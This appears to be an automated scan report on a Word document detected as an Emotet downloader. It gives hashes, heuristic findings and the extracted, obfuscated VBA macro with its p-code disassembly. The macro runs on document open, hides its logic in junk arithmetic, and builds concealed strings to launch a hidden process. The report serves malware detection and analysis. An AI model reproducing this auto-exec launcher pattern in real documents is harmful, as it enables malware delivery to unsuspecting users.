Office (OLE) malware analysis — malicious · e717c0d2aadb80bb

MALICIOUS

Office (OLE)

174.2 KB Created: 2019-03-26 19:55:00 Authoring application: Microsoft Office Word First seen: 2020-12-25

MD5: fd47c19c33ecbe94e043bba3f6b76967 SHA-1: 134fe5b674da124ab59034995774136f8276f9b0 SHA-256: e717c0d2aadb80bbd081acc5b0c5b60facada2f0e054c2d8a550e4d5b8243df2

190 Risk Score

Heuristics 7

ClamAV: Doc.Downloader.Emotet-6914197-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-6914197-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

GetObject call high OLE_VBA_GETOBJ

GetObject call

Matched line in script

Set P41oAXA = GetObject(BGwAD1.wBQkAA + d_kDCBUA.T_DQQAZ + BGwAD1.wBQkAA)

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub autoopen()
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14936 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	14936 bytes
SHA-256: `b9bdddde0074873fde9c6506024d48b2d730aa01f74ef4c5908d60ae67922686`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "F4oUXAU" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "BGwAD1" Attribute VB_Base = "0{75ED0DD9-AFB7-4BBE-9B43-B5CEF959467A}{169C0824-A931-42B7-8B7C-90176A97DA36}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "d_kDCBUA" Attribute VB_Base = "0{827DDE68-7ADF-4EF2-AD66-4A072186267A}{0FA90AFB-7187-4285-827C-7AFE567C3109}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "zXAAADAc" Sub autoopen() On Error Resume Next Select Case NAxoZ_B Case 552627650 PDAXAA = oAAAQAA / 827384356 / _ dAAAokBD - CInt(jQAA1o + CInt(498114999)) + _ (429428715 * CLng(983895741)) SoZ44o4 = 196175064 * iBAc1AoZ WAQUA_c = 363782692 - 666563882 + _ 123144297 - ZAXAQAAA / s_xUBA - Tan(986429207) End Select Select Case zBAU1kAA Case 649585586 owBDAxAA = ZCA_BZ / 198442998 / _ oBADxA - CInt(OBAoABU + CInt(797539556)) + _ (239755694 * CLng(348758256)) wACC4ZA = 12786818 * f4ADDAoA zAZwcA = 746862660 - 93594029 + _ 932590376 - IXAACAC / LB_BAxw - Tan(355180009) End Select Select Case UXAAkD Case 782412030 T_Z_DAA = XBCB4BAA / 720627370 / _ MDAAUo_ - CInt(wADCQD + CInt(942244244)) + _ (251421645 * CLng(769844241)) dCAAADBB = 259209376 * jAUD1A MA_4AAAx = 779348900 - 235786462 + _ 621967272 - fAQ1QB / Bo1AAG_ - Tan(239709486) End Select Set P41oAXA = GetObject(BGwAD1.wBQkAA + d_kDCBUA.T_DQQAZ + BGwAD1.wBQkAA) Select Case u1BAQQXA Case 30193339 cAwGAA = bUABABA / 362330586 / _ c1cccQx - CInt(VZBBAG + CInt(267226572)) + _ (492521700 * CLng(313397435)) YUC4AZA = 721346944 * ZUQC_AAB jDAZBcQ = 816548745 - 903351210 + _ 783641887 - WwcBADBZ / GwADxo - Tan(967269547) End Select Select Case QG_BkUU4 Case 342644650 YQCABAGU = aZAAkZ / 804034675 / _ ZAkCAAA - CInt(nAUAkCck + CInt(941343626)) + _ (65902322 * CLng(876627692)) DkZAAXA = 2007392 * ICBADBo qCCo_4U = 301883740 - 939857073 + _ 4276456 - dGA4xAAx / mBAQCQ - Tan(625025206) End Select Select Case kwCAABQA Case 967000683 doACwB = UAXoZ1A / 792002400 / _ J4Uw1x1 - CInt(fc1XxD + CInt(452474668)) + _ (586971416 * CLng(799644976)) FABAAw = 485825059 * jAQZAQB i1G_AU4 = 97368666 - 449027204 + _ 186953635 - kBAwAk / WDQcAUAw - Tan(789194994) End Select P41oAXA.ShowWindow = 316725 - 316725 Select Case LcZGAUDU Case 302811264 zZxABUU = J_okDA / 711472868 / _ A1ABkA - CInt(iAABAAc + CInt(207670542)) + _ (644429687 * CLng(146613637)) S4UUQQQ = 102044779 * vxAA14 TDAxAAB = 585167379 - 134492405 + _ 652088754 - lGAUAU4Q / tQX1kAA - Tan(791221387) End Select Select Case NZ1QcAAc Case 738526438 TAoxA_ = iAADAA / 156520915 / _ bkGoAA - CInt(NxAQAQAA + CInt(591200016)) + _ (504759482 * CLng(514821976)) PAABUC = 526043205 * uA4xAAA hwAAAAZ = 414864541 - 975938851 + _ 921707971 - GA4GwX / a1DQQk_ - Tan(947754572) End Select Select Case QA_AxX Case 303487230 RBUAAkQA = vcCDxU / 659205021 / _ aGAxAAXC - CInt(d_wDGAoA + CInt(55786465)) + _ (911374040 * CLng(809257077)) HDxwUAAZ = 355880773 * XDxBc14 lA4G4A1 = 139668389 - 640127231 + _ 603418556 - zcXCAQAA / LQGA4QA - Tan(776835008) End Select GetObject(BGwAD1.wBQkAA + d_kDCBUA.JcZXQCBB + BGwAD1.wBQkAA) _ .Create BGwAD1.wBQkAA + d_kDCBUA.RDBZUD + BGwAD1.wBQkAA + d_kDCBUA.kk_cwA + BGwAD1.wBQkAA + BGwAD1.wBQkAA + d_kDCBUA.bwCZZ_4 + BGwAD1.wBQkAA + BGwAD1.wBQkAA + d_kDCBUA.pAoQAB + BGwAD1.wBQkAA + d_kDCBUA.SA_GADAX + BGwAD1.wBQkAA, iUAo4A, P41oAXA, BGwAD1.wBQkAA Select Case IAQUAB_A Case 679406150 zwQ_4UxA = w1BZQAUA / 977888782 / _ jxQwABc - CInt(EGAxBoC + CInt(24676122)) + _ (897494704 * CLng(697363903)) CXwACXQA = 734207406 * GUAXAAoB NG1UBGAD = 690146942 - 436227054 + _ 280524880 - hAAAQAXB / wQABUUQx - Tan(118770473) End Select Select Case H_UwAkw Case 259238081 nDQoAAQA = nwCAAA1 / 495172733 / _ NA_QAoUB - CInt(F1DAXww + CInt(728655354)) + _ (192998816 * CLng(360866281)) P_BCQAB = 701727035 * OD_kAAUB OUA_BGCU = 407985299 - 581471047 + _ 302173918 - jAcCwD_A / SxcAA4_x - Tan(359289924) End Select End Sub ' Processing file: /opt/analyzer/scan_staging/93f2830eb57545338d676cd52b6d7bbf.bin ' =============================================================================== ' Module streams: ' Macros/VBA/F4oUXAU - 1105 bytes ' Macros/VBA/BGwAD1 - 1156 bytes ' Macros/VBA/d_kDCBUA - 1157 bytes ' Macros/VBA/zXAAADAc - 6426 bytes ' Line #0: ' FuncDefn (Sub zXAAADAc()) ' Line #1: ' OnError (Resume Next) ' Line #2: ' Ld autoopen ' SelectCase ' Line #3: ' LitDI4 0x6DC2 0x20F0 ' Case ' CaseDone ' Line #4: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld PDAXAA ' LitDI4 0xE224 0x3150 ' Div ' Ld oAAAQAA ' Div ' Ld dAAAokBD ' LitDI4 0xA1B7 0x1DB0 ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0x8FEB 0x1998 ' LitDI4 0x0EBD 0x3AA5 ' Coerce (Lng) ' Mul ' Paren ' Add ' St NAxoZ_B ' Line #5: ' LitDI4 0x64D8 0x0BB1 ' Ld SoZ44o4 ' Mul ' St jQAA1o ' Line #6: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0xE224 0x15AE ' LitDI4 0xF52A 0x27BA ' Sub ' LitDI4 0x0869 0x0757 ' Add ' Ld WAQUA_c ' Ld ZAXAQAAA ' Div ' Sub ' LitDI4 0xB717 0x3ACB ' ArgsLd Tan 0x0001 ' Sub ' St iBAc1AoZ ' Line #7: ' EndSelect ' Line #8: ' Ld s_xUBA ' SelectCase ' Line #9: ' LitDI4 0xE3B2 0x26B7 ' Case ' CaseDone ' Line #10: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld owBDAxAA ' LitDI4 0xFFF6 0x0BD3 ' Div ' Ld ZCA_BZ ' Div ' Ld oBADxA ' LitDI4 0x7CE4 0x2F89 ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0x61AE 0x0E4A ' LitDI4 0xA0F0 0x14C9 ' Coerce (Lng) ' Mul ' Paren ' Add ' St zBAU1kAA ' Line #11: ' LitDI4 0x1C82 0x00C3 ' Ld wACC4ZA ' Mul ' St OBAoABU ' Line #12: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0x3844 0x2C84 ' LitDI4 0x21AD 0x0594 ' Sub ' LitDI4 0x3328 0x3796 ' Add ' Ld zAZwcA ' Ld IXAACAC ' Div ' Sub ' LitDI4 0x9DE9 0x152B ' ArgsLd Tan 0x0001 ' Sub ' St f4ADDAoA ' Line #13: ' EndSelect ' Line #14: ' Ld LB_BAxw ' SelectCase ' Line #15: ' LitDI4 0xA8FE 0x2EA2 ' Case ' CaseDone ' Line #16: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld T_Z_DAA ' LitDI4 0xE6AA 0x2AF3 ' Div ' Ld XBCB4BAA ' Div ' Ld MDAAUo_ ' LitDI4 0x8194 0x3829 ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0x63CD 0x0EFC ' LitDI4 0xE411 0x2DE2 ' Coerce (Lng) ' Mul ' Paren ' Add ' St UXAAkD ' Line #17: ' LitDI4 0x38A0 0x0F73 ' Ld dCAAADBB ' Mul ' St wADCQD ' Line #18: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0xEBA4 0x2E73 ' LitDI4 0xD0DE 0x0E0D ' Sub ' LitDI4 0x77A8 0x2512 ' Add ' Ld MA_4AAAx ' Ld fAQ1QB ' Div ' Sub ' LitDI4 0xAD2E 0x0E49 ' ArgsLd Tan 0x0001 ' Sub ' St jAUD1A ' Line #19: ' EndSelect ' Line #20: ' SetStmt ' Ld d_kDCBUA ' MemLd GetObject ' Ld MSForms ' MemLd wBQkAA ' Add ' Ld d_kDCBUA ' MemLd GetObject ' Add ' ArgsLd P41oAXA 0x0001 ' Set Bo1AAG_ ' Line #21: ' Ld T_DQQAZ ' SelectCase ' Line #22: ' LitDI4 0xB6BB 0x01CC ' Case ' CaseDone ' Line #23: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld cAwGAA ' LitDI4 0xB9DA 0x1598 ' Div ' Ld bUABABA ' Div ' Ld c1cccQx ' LitDI4 0x8DCC 0x0FED ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0x48E4 0x1D5B ' LitDI4 0x10BB 0x12AE ' Coerce (Lng) ' Mul ' Paren ' Add ' St u1BAQQXA ' Line #24: ' LitDI4 0xE180 0x2AFE ' Ld YUC4AZA ' Mul ' St VZBBAG ' Line #25: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0x8B89 0x30AB ' LitDI4 0x0BAA 0x35D8 ' Sub ' LitDI4 0x6D1F 0x2EB5 ' Add ' Ld jDAZBcQ ' Ld WwcBADBZ ' Div ' Sub ' LitDI4 0x5CAB 0x39A7 ' ArgsLd Tan 0x0001 ' Sub ' St ZUQC_AAB ' Line #26: ' EndSelect ' Line #27: ' Ld GwADxo ' SelectCase ' Line #28: ' LitDI4 0x57AA 0x146C ' Case ' CaseDone ' Line #29: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld YQCABAGU ' LitDI4 0x9873 0x2FEC ' Div ' Ld aZAAkZ ' Div ' Ld ZAkCAAA ' LitDI4 0xC38A 0x381B ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0x96F2 0x03ED ' LitDI4 0x46EC 0x3440 ' Coerce (Lng) ' Mul ' Paren ' Add ' St QG_BkUU4 ' Line #30: ' LitDI4 0xA160 0x001E ' Ld DkZAAXA ' Mul ' St nAUAkCck ' Line #31: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0x615C 0x11FE ' LitDI4 0x14B1 0x3805 ' Sub ' LitDI4 0x40E8 0x0041 ' Add ' Ld qCCo_4U ' Ld dGA4xAAx ' Div ' Sub ' LitDI4 0x20B6 0x2541 ' ArgsLd Tan 0x0001 ' Sub ' St ICBADBo ' Line #32: ' EndSelect ' Line #33: ' Ld mBAQCQ ' SelectCase ' Line #34: ' LitDI4 0x426B 0x39A3 ' Case ' CaseDone ' Line #35: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld doACwB ' LitDI4 0xFF60 0x2F34 ' Div ' Ld UAXoZ1A ' Div ' Ld J4Uw1x1 ' LitDI4 0x372C 0x1AF8 ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0x7918 0x22FC ' LitDI4 0x9D30 0x2FA9 ' Coerce (Lng) ' Mul ' Paren ' Add ' St kwCAABQA ' Line #36: ' LitDI4 0x1A23 0x1CF5 ' Ld FABAAw ' Mul ' St fc1XxD ' Line #37: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0xBA5A 0x05CD ' LitDI4 0x9C84 0x1AC3 ' Sub ' LitDI4 0xAFA3 0x0B24 ' Add ' Ld i1G_AU4 ' Ld kBAwAk ' Div ' Sub ' LitDI4 0x28F2 0x2F0A ' ArgsLd Tan 0x0001 ' Sub ' St jAQZAQB ' Line #38: ' EndSelect ' Line #39: ' LitDI4 0xD535 0x0004 ' LitDI4 0xD535 0x0004 ' Sub ' Ld Bo1AAG_ ' MemSt WDQcAUAw ' Line #40: ' Ld ShowWindow ' SelectCase ' Line #41: ' LitDI4 0x8880 0x120C ' Case ' CaseDone ' Line #42: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld zZxABUU ' LitDI4 0x36E4 0x2A68 ' Div ' Ld J_okDA ' Div ' Ld A1ABkA ' LitDI4 0xCD0E 0x0C60 ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0x3777 0x2669 ' LitDI4 0x2585 0x08BD ' Coerce (Lng) ' Mul ' Paren ' Add ' St LcZGAUDU ' Line #43: ' LitDI4 0x146B 0x0615 ' Ld S4UUQQQ ' Mul ' St iAABAAc ' Line #44: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0xF213 0x22E0 ' LitDI4 0x30F5 0x0804 ' Sub ' LitDI4 0x15B2 0x26DE ' Add ' Ld TDAxAAB ' Ld lGAUAU4Q ' Div ' Sub ' LitDI4 0x148B 0x2F29 ' ArgsLd Tan 0x0001 ' Sub ' St vxAA14 ' Line #45: ' EndSelect ' Line #46: ' Ld tQX1kAA ' SelectCase ' Line #47: ' LitDI4 0x04E6 0x2C05 ' Case ' CaseDone ' Line #48: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld TAoxA_ ' LitDI4 0x51D3 0x0954 ' Div ' Ld iAADAA ' Div ' Ld bkGoAA ' LitDI4 0xFF10 0x233C ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0x04BA 0x1E16 ' LitDI4 0x8F58 0x1EAF ' Coerce (Lng) ' Mul ' Paren ' Add ' St NZ1QcAAc ' Line #49: ' LitDI4 0xC845 0x1F5A ' Ld PAABUC ' Mul ' St NxAQAQAA ' Line #50: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0x549D 0x18BA ' LitDI4 0xA523 0x3A2B ' Sub ' LitDI4 0x25C3 0x36F0 ' Add ' Ld hwAAAAZ ' Ld GA4GwX ' Div ' Sub ' LitDI4 0x964C 0x387D ' ArgsLd Tan 0x0001 ' Sub ' St uA4xAAA ' Line #51: ' EndSelect ' Line #52: ' Ld a1DQQk_ ' SelectCase ' Line #53: ' LitDI4 0xD8FE 0x1216 ' Case ' CaseDone ' Line #54: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld RBUAAkQA ' LitDI4 0xAB9D 0x274A ' Div ' Ld vcCDxU ' Div ' Ld aGAxAAXC ' LitDI4 0x3BE1 0x0353 ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0x76D8 0x3652 ' LitDI4 0x4875 0x303C ' Coerce (Lng) ' Mul ' Paren ' Add ' St QA_AxX ' Line #55: ' LitDI4 0x4F45 0x1536 ' Ld HDxwUAAZ ' Mul ' St d_wDGAoA ' Line #56: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0x2BA5 0x0853 ' LitDI4 0x90FF 0x2627 ' Sub ' LitDI4 0x6FBC 0x23F7 ' Add ' Ld lA4G4A1 ' Ld zcXCAQAA ' Div ' Sub ' LitDI4 0x8FC0 0x2E4D ' ArgsLd Tan 0x0001 ' Sub ' St XDxBc14 ' Line #57: ' EndSelect ' Line #58: ' LineCont 0x0004 0E 00 00 00 ' Ld d_kDCBUA ' MemLd GetObject ' Ld MSForms ' MemLd Create ' Add ' Ld d_kDCBUA ' MemLd GetObject ' Add ' Ld MSForms ' MemLd RDBZUD ' Add ' Ld d_kDCBUA ' MemLd GetObject ' Add ' Ld d_kDCBUA ' MemLd GetObject ' Add ' Ld MSForms ' MemLd kk_cwA ' Add ' Ld d_kDCBUA ' MemLd GetObject ' Add ' Ld d_kDCBUA ' MemLd GetObject ' Add ' Ld MSForms ' MemLd bwCZZ_4 ' Add ' Ld d_kDCBUA ' MemLd GetObject ' Add ' Ld MSForms ' MemLd pAoQAB ' Add ' Ld d_kDCBUA ' MemLd GetObject ' Add ' Ld SA_GADAX ' Ld Bo1AAG_ ' Ld d_kDCBUA ' MemLd GetObject ' Ld d_kDCBUA ' MemLd GetObject ' Ld MSForms ' MemLd LQGA4QA ' Add ' Ld d_kDCBUA ' MemLd GetObject ' Add ' ArgsLd P41oAXA 0x0001 ' ArgsMemCall JcZXQCBB 0x0004 ' Line #59: ' Ld iUAo4A ' SelectCase ' Line #60: ' LitDI4 0xEA46 0x287E ' Case ' CaseDone ' Line #61: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld zwQ_4UxA ' LitDI4 0x660E 0x3A49 ' Div ' Ld w1BZQAUA ' Div ' Ld jxQwABc ' LitDI4 0x871A 0x0178 ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0xAEB0 0x357E ' LitDI4 0xEDBF 0x2990 ' Coerce (Lng) ' Mul ' Paren ' Add ' St IAQUAB_A ' Line #62: ' LitDI4 0x1DAE 0x2BC3 ' Ld CXwACXQA ' Mul ' St EGAxBoC ' Line #63: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0xCE7E 0x2922 ' LitDI4 0x4BEE 0x1A00 ' Sub ' LitDI4 0x7850 0x10B8 ' Add ' Ld NG1UBGAD ' Ld hAAAQAXB ' Div ' Sub ' LitDI4 0x4B29 0x0714 ' ArgsLd Tan 0x0001 ' Sub ' St GUAXAAoB ' Line #64: ' EndSelect ' Line #65: ' Ld wQABUUQx ' SelectCase ' Line #66: ' LitDI4 0xA8C1 0x0F73 ' Case ' CaseDone ' Line #67: ' LineCont 0x0008 06 00 00 00 12 00 00 00 ' Ld nDQoAAQA ' LitDI4 0xBC7D 0x1D83 ' Div ' Ld nwCAAA1 ' Div ' Ld NA_QAoUB ' LitDI4 0x65FA 0x2B6E ' Coerce (Int) ' Add ' Coerce (Int) ' Sub ' LitDI4 0xEDA0 0x0B80 ' LitDI4 0x61E9 0x1582 ' Coerce (Lng) ' Mul ' Paren ' Add ' St H_UwAkw ' Line #68: ' LitDI4 0x813B 0x29D3 ' Ld P_BCQAB ' Mul ' St F1DAXww ' Line #69: ' LineCont 0x0004 06 00 00 00 ' LitDI4 0x5C93 0x1851 ' LitDI4 0x8B47 0x22A8 ' Sub ' LitDI4 0xCEDE 0x1202 ' Add ' Ld OUA_BGCU ' Ld jAcCwD_A ' Div ' Sub ' LitDI4 0x5444 0x156A ' ArgsLd Tan 0x0001 ' Sub ' St OD_kAAUB ' Line #70: ' EndSelect ' Line #71: ' EndSub ' Line #72:

SHA-256: b9bdddde0074873fde9c6506024d48b2d730aa01f74ef4c5908d60ae67922686

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "F4oUXAU"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "BGwAD1"
Attribute VB_Base = "0{75ED0DD9-AFB7-4BBE-9B43-B5CEF959467A}{169C0824-A931-42B7-8B7C-90176A97DA36}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "d_kDCBUA"
Attribute VB_Base = "0{827DDE68-7ADF-4EF2-AD66-4A072186267A}{0FA90AFB-7187-4285-827C-7AFE567C3109}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "zXAAADAc"
Sub autoopen()
On Error Resume Next
         Select Case NAxoZ_B
Case 552627650
      PDAXAA = oAAAQAA / 827384356 / _
dAAAokBD - CInt(jQAA1o + CInt(498114999)) + _
(429428715 * CLng(983895741))
      SoZ44o4 = 196175064 * iBAc1AoZ
      WAQUA_c = 363782692 - 666563882 + _
123144297 - ZAXAQAAA / s_xUBA - Tan(986429207)
End Select
         Select Case zBAU1kAA
Case 649585586
      owBDAxAA = ZCA_BZ / 198442998 / _
oBADxA - CInt(OBAoABU + CInt(797539556)) + _
(239755694 * CLng(348758256))
      wACC4ZA = 12786818 * f4ADDAoA
      zAZwcA = 746862660 - 93594029 + _
932590376 - IXAACAC / LB_BAxw - Tan(355180009)
End Select
         Select Case UXAAkD
Case 782412030
      T_Z_DAA = XBCB4BAA / 720627370 / _
MDAAUo_ - CInt(wADCQD + CInt(942244244)) + _
(251421645 * CLng(769844241))
      dCAAADBB = 259209376 * jAUD1A
      MA_4AAAx = 779348900 - 235786462 + _
621967272 - fAQ1QB / Bo1AAG_ - Tan(239709486)
End Select
Set P41oAXA = GetObject(BGwAD1.wBQkAA + d_kDCBUA.T_DQQAZ + BGwAD1.wBQkAA)
         Select Case u1BAQQXA
Case 30193339
      cAwGAA = bUABABA / 362330586 / _
c1cccQx - CInt(VZBBAG + CInt(267226572)) + _
(492521700 * CLng(313397435))
      YUC4AZA = 721346944 * ZUQC_AAB
      jDAZBcQ = 816548745 - 903351210 + _
783641887 - WwcBADBZ / GwADxo - Tan(967269547)
End Select
         Select Case QG_BkUU4
Case 342644650
      YQCABAGU = aZAAkZ / 804034675 / _
ZAkCAAA - CInt(nAUAkCck + CInt(941343626)) + _
(65902322 * CLng(876627692))
      DkZAAXA = 2007392 * ICBADBo
      qCCo_4U = 301883740 - 939857073 + _
4276456 - dGA4xAAx / mBAQCQ - Tan(625025206)
End Select
         Select Case kwCAABQA
Case 967000683
      doACwB = UAXoZ1A / 792002400 / _
J4Uw1x1 - CInt(fc1XxD + CInt(452474668)) + _
(586971416 * CLng(799644976))
      FABAAw = 485825059 * jAQZAQB
      i1G_AU4 = 97368666 - 449027204 + _
186953635 - kBAwAk / WDQcAUAw - Tan(789194994)
End Select
P41oAXA.ShowWindow = 316725 - 316725
         Select Case LcZGAUDU
Case 302811264
      zZxABUU = J_okDA / 711472868 / _
A1ABkA - CInt(iAABAAc + CInt(207670542)) + _
(644429687 * CLng(146613637))
      S4UUQQQ = 102044779 * vxAA14
      TDAxAAB = 585167379 - 134492405 + _
652088754 - lGAUAU4Q / tQX1kAA - Tan(791221387)
End Select
         Select Case NZ1QcAAc
Case 738526438
      TAoxA_ = iAADAA / 156520915 / _
bkGoAA - CInt(NxAQAQAA + CInt(591200016)) + _
(504759482 * CLng(514821976))
      PAABUC = 526043205 * uA4xAAA
      hwAAAAZ = 414864541 - 975938851 + _
921707971 - GA4GwX / a1DQQk_ - Tan(947754572)
End Select
         Select Case QA_AxX
Case 303487230
      RBUAAkQA = vcCDxU / 659205021 / _
aGAxAAXC - CInt(d_wDGAoA + CInt(55786465)) + _
(911374040 * CLng(809257077))
      HDxwUAAZ = 355880773 * XDxBc14
      lA4G4A1 = 139668389 - 640127231 + _
603418556 - zcXCAQAA / LQGA4QA - Tan(776835008)
End Select
GetObject(BGwAD1.wBQkAA + d_kDCBUA.JcZXQCBB + BGwAD1.wBQkAA) _
.Create BGwAD1.wBQkAA + d_kDCBUA.RDBZUD + BGwAD1.wBQkAA + d_kDCBUA.kk_cwA + BGwAD1.wBQkAA + BGwAD1.wBQkAA + d_kDCBUA.bwCZZ_4 + BGwAD1.wBQkAA + BGwAD1.wBQkAA + d_kDCBUA.pAoQAB + BGwAD1.wBQkAA + d_kDCBUA.SA_GADAX + BGwAD1.wBQkAA, iUAo4A, P41oAXA, BGwAD1.wBQkAA
         Select Case IAQUAB_A
Case 679406150
      zwQ_4UxA = w1BZQAUA / 977888782 / _
jxQwABc - CInt(EGAxBoC + CInt(24676122)) + _
(897494704 * CLng(697363903))
      CXwACXQA = 734207406 * GUAXAAoB
      NG1UBGAD = 690146942 - 436227054 + _
280524880 - hAAAQAXB / wQABUUQx - Tan(118770473)
End Select
         Select Case H_UwAkw
Case 259238081
      nDQoAAQA = nwCAAA1 / 495172733 / _
NA_QAoUB - CInt(F1DAXww + CInt(728655354)) + _
(192998816 * CLng(360866281))
      P_BCQAB = 701727035 * OD_kAAUB
      OUA_BGCU = 407985299 - 581471047 + _
302173918 - jAcCwD_A / SxcAA4_x - Tan(359289924)
End Select
End Sub


' Processing file: /opt/analyzer/scan_staging/93f2830eb57545338d676cd52b6d7bbf.bin
' ===============================================================================
' Module streams:
' Macros/VBA/F4oUXAU - 1105 bytes
' Macros/VBA/BGwAD1 - 1156 bytes
' Macros/VBA/d_kDCBUA - 1157 bytes
' Macros/VBA/zXAAADAc - 6426 bytes
' Line #0:
' 	FuncDefn (Sub zXAAADAc())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld autoopen 
' 	SelectCase 
' Line #3:
' 	LitDI4 0x6DC2 0x20F0 
' 	Case 
' 	CaseDone 
' Line #4:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld PDAXAA 
' 	LitDI4 0xE224 0x3150 
' 	Div 
' 	Ld oAAAQAA 
' 	Div 
' 	Ld dAAAokBD 
' 	LitDI4 0xA1B7 0x1DB0 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x8FEB 0x1998 
' 	LitDI4 0x0EBD 0x3AA5 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St NAxoZ_B 
' Line #5:
' 	LitDI4 0x64D8 0x0BB1 
' 	Ld SoZ44o4 
' 	Mul 
' 	St jQAA1o 
' Line #6:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0xE224 0x15AE 
' 	LitDI4 0xF52A 0x27BA 
' 	Sub 
' 	LitDI4 0x0869 0x0757 
' 	Add 
' 	Ld WAQUA_c 
' 	Ld ZAXAQAAA 
' 	Div 
' 	Sub 
' 	LitDI4 0xB717 0x3ACB 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St iBAc1AoZ 
' Line #7:
' 	EndSelect 
' Line #8:
' 	Ld s_xUBA 
' 	SelectCase 
' Line #9:
' 	LitDI4 0xE3B2 0x26B7 
' 	Case 
' 	CaseDone 
' Line #10:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld owBDAxAA 
' 	LitDI4 0xFFF6 0x0BD3 
' 	Div 
' 	Ld ZCA_BZ 
' 	Div 
' 	Ld oBADxA 
' 	LitDI4 0x7CE4 0x2F89 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x61AE 0x0E4A 
' 	LitDI4 0xA0F0 0x14C9 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St zBAU1kAA 
' Line #11:
' 	LitDI4 0x1C82 0x00C3 
' 	Ld wACC4ZA 
' 	Mul 
' 	St OBAoABU 
' Line #12:
' 	LineCont 0x0004 06 00 00 00
